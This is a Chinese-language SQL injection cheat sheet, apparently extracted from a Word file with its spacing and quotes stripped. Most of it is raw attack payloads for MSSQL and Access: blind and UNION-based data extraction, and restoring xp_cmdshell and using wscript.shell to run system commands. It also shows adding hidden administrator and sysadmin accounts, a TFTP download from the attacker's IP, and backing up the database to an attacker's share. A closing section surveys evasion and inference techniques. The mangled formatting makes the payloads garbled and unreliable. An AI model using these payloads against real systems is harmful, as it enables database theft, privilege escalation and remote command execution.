SQL注入语句标准语法要点是如何的.docx
SQL注入语句标准语法要点是如何的SQL注入语句标准语法要点是如何的所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令。很多情况下由于程序员的安全意识薄弱或基本功缺乏就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防备就是先学会攻击,下面一起看看要点!方法技巧1.判定有无注入点and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword等.and0(selectcount(*)from*)and0(selectcount(*)fromadmin)-判定能否存在admin这张表3.猜帐号数目假如碰到0返回正确页面1返回错误页面讲明帐号数目就是1个and0(selectcount(*)fromadmin)and1(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.and1=(selectcount(*)fromadminwherelen(*)0)-and1=(selectcount(*)fromadminwherelen(用户字段名称name)0)and1=(selectcount(*)fromadminwherelen(密码字段名称password)0)5.猜解各个字段的长度猜解长度就是把0变换直到返回正确页面为止and1=(selectcount(*)fromadminwherelen(*)0)and1=(selectcount(*)fromadminwherelen(name)6)错误and1=(selectcount(*)fromadminwherelen(name)5)正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6)正确and1=(selectcount(*)fromadminwherelen(password)11)正确and1=(selectcount(*)fromadminwherelen(password)12)错误长度是12and1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)-猜解用户帐号的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)-猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚刚猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1)=51)-这个查询语句能够猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.groupbyusers.idhaving1=1-groupbyusers.id,users.username,users.password,users.privshaving1=1-insertintousersvalues(666,attacker,foobar,0xffff)-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id)-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id,login_name)-UNIONSELECTTOP1login_nameFROMlogintable-UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul-看服务器打的补丁=出错了打了SP4补丁and1=(selectVERSION)-看数据库连接账号的权限,返回正常,证实是服务器角色sysadmin权限。and1=(SELECTIS_SRVROLEMEMBER(sysadmin)-判定连接数据库帐号。(采用SA账号连接返回正常=证实了连接账号是SA)andsa=(SELECTSystem_user)-anduser_name()=dbo-and0(selectuser_name()-看xp_cmdshell能否删除and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)-xp_cmdshell被删除,恢复,支持绝对途径的恢复;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll-;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:inetpubwwwrootxplog70.dll-反向PING本人实验;usemaster;declaresint;execsp_oacreatewscript.shell,sout;execsp_oamethods,run,NULL,cmd.exe/cping192.168.0.1-加帐号;DECLAREshellINTEXECSP_OACREATEwscript.shell,shellOUTPUTEXECSP_OAMETHODshell,run,null,C:WINNTsystem32cmd.exe/cnetuserjiaoniang$1866574/add-创立一个虚拟目录E盘:;declareointexecsp_oacreatewscript.shell,ooutexecsp_oamethodo,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs-w默认Web站点-ve,e:-访问属性:(配合写入一个webshell)declareointexecsp_oacreatewscript.shell,ooutexecsp_oamethodo,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs-aw3svc/1/ROOT/e+browse爆库特殊技巧::%5c=或者把/和修改%5提交and0(selecttop1pathsfromnewtable)-得到库名(从1到5都是系统的id,6以上才能够判定)and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)-and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)依次提交dbid=7,8,9.得到更多的数据库名and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为adminand0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin)来得到其他的表。and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)暴到UID的数值假设为18779569uid=idand0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_idand0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin (id,.)来暴出其他的字段and0(selectuser_idfromBBS.dbo.adminwhereusername1)能够得到用户名依次能够得到密码。假设存在user_idusername,password等字段and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address)and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)判定id值and0(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)得到WEB途径;createtabledbo.swap(swappasschar(255);-and(selecttop1swappassfromswap)=1-;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500)Declaretestvarchar(20)execmaster.xp_regreadrootkey=HKEY_LOCAL_MACHINE,key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots,value_name=/,values=testOUTPUTinsertintopaths(path)values(test)-;useku1;-;createtablecmd(strimage);-建立image类型的表cmd存在xp_cmdshell的测试经过:;execmaster.xp_cmdshelldir;execmaster.dbo.sp_addloginjiaoniang$;-加SQL帐号;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;-;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;-;execmaster.dbo.xp_cmdshellnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add-;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsjiaoniang$/add-execmaster.xp_servicecontrolstart,schedule启动服务execmaster.xp_servicecontrolstart,server;DECLAREshellINTEXECSP_OACREATEwscript.shell,shellOUTPUTEXECSP_OAMETHODshell,run,null,C:WINNTsystem32cmd.exe/cnetuserjiaoniang$1866574/add;DECLAREshellINTEXECSP_OACREATEwscript.shell,shellOUTPUTEXECSP_OAMETHODshell,run,null,C:WINNTsystem32cmd.exe/cnetlocalgroupadministratorsjiaoniang$/addexecmaster.xp_cmdshelltftp-iyouipgetfile.exe-利用TFTP上传文件;declareasysnameseta=xp_+cmdshellexecadirc:;declareasysnameseta=xp+_cm+dshellexecadirc:;declarea;seta=db_name();backupdatabaseatodisk=你的IP你的分享目录bak.dat假如被限制则能够。select*fromopenrowset(sqloledb,serversa,selectOK!execmaster.dbo.sp_addloginhax)查询构造:SELECT*FROMnewsWHEREid=.ANDtopic=.AND.adminand1=(selectcount(*)fromuserwhereusername=victimandright(left(userpass,01),1)=1)anduserpassselect123;-;usemaster;-:aornamelikefff%-显示有一个叫ffff的用户哈。and1(selectcount(email)fromuser);-;updateuserssetemail=(selecttop1namefromsysobjectswherextype=uandstatus0)wherename=ffff-;updateuserssetemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff-updateuserssetemail=(selecttop1namefromsysobjectswherextype=uandid581577110)wherename=ffff-updateuserssetemail=(selecttop1count(id)frompassword)wherename=ffff-updateuserssetemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff-updateuserssetemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff-上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的ID得到第二个表的名字insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-insertintousersvalues(667,123,123,0xffff)-insertintousersvalues(123,admin-,password,0xffff)-;anduser0;and(selectcount(*)fromsysobjects)0;and(selectcount(*)frommysysobjects)0/为access数据库枚举出数据表名;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus-这是将第一个表名更新到aaa的字段处。读出第一个表,第二个表能够这样读出来(在条件后加上andname刚刚得到的表名)。;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus0andnamevote-然后id=1552andexists(select*fromaaawhereaaa5)读出第二个表,一个个的读出,直到没有为止。读字段是这样:;updateaaasetaaa=(selecttop1col_name(object_id(表名),1);-然后id=152andexists(select*fromaaawhereaaa5)出错,得到字段名;updateaaasetaaa=(selecttop1col_name(object_id(表名),2);-然后id=152andexists(select*fromaaawhereaaa5)出错,得到字段名 获得数据表名将字段值更新为表名,再想法读出这个字段的值就可得到表名update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus0andname你得到的表名查出一个加一个)where条件selecttop1namefromsysobjectswherextype=uandstatus0andnamenotin(table1,table2,)通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号当前帐号必须是SYSADMIN组 获得数据表字段名将字段值更新为字段名,再想法读出这个字段的值就可得到字段名update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)where条件补充:SQL注入技术强迫产生错误对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是采集数据库的类型、构造等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而获得漏洞信息。采用非主流通道技术除HTTP响应外,能通过通道获取数据,然而,通道大都依靠与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:先对SQL查询打包,然后借助非主流通道将信息反应至攻击者。使用特殊的字符不同的SQL数据库有很多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够获得某些有用的信息,进而对进一步攻击提供方向。使用条件语句此方式详细可分为基于内容、基于时间、基于错误三种形式。一般在经过常规访问后加上条件语句,根据信息反应来断定被攻击的目的。利用存储经过通过某些标准存储经过,数据库厂商对数据库的功能进行扩展的同时,系统可以与进行交互。部分存储经过能够让用户自行定义。通过其他类型的攻击采集到数据库的类型、构造等信息后,便能够建构执行存储经过的命令。这种攻击类型往往能到达远程命令执行、特权扩张、拒绝服务的目的。避开输入过滤技术固然对于通常的编码都可利用某些过滤技术进行SQL注入防备,但是鉴于此种情况下也有很多方法避开过滤,一般可到达此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。借助于此些手段,输入构思后的查询能够避开输入过滤,进而攻击者能获得想要的查询结果。推断技术能够明确数据库形式、提取数据以及识别可注入参数。此种方式的攻击通过网站对用户输入的反应信息,对可注入参数、数据库形式推断,这种攻击构造的查询执行后获得的答案只要真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里参加语句诸如waitfor100,根据此查询结果出现的时间对注入能否成功和数据值范围的推导进行断定;后者主要是andl=l、andl=2两种经典注入方法。这些方式均是对一些间接关联且能获得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。SQL注入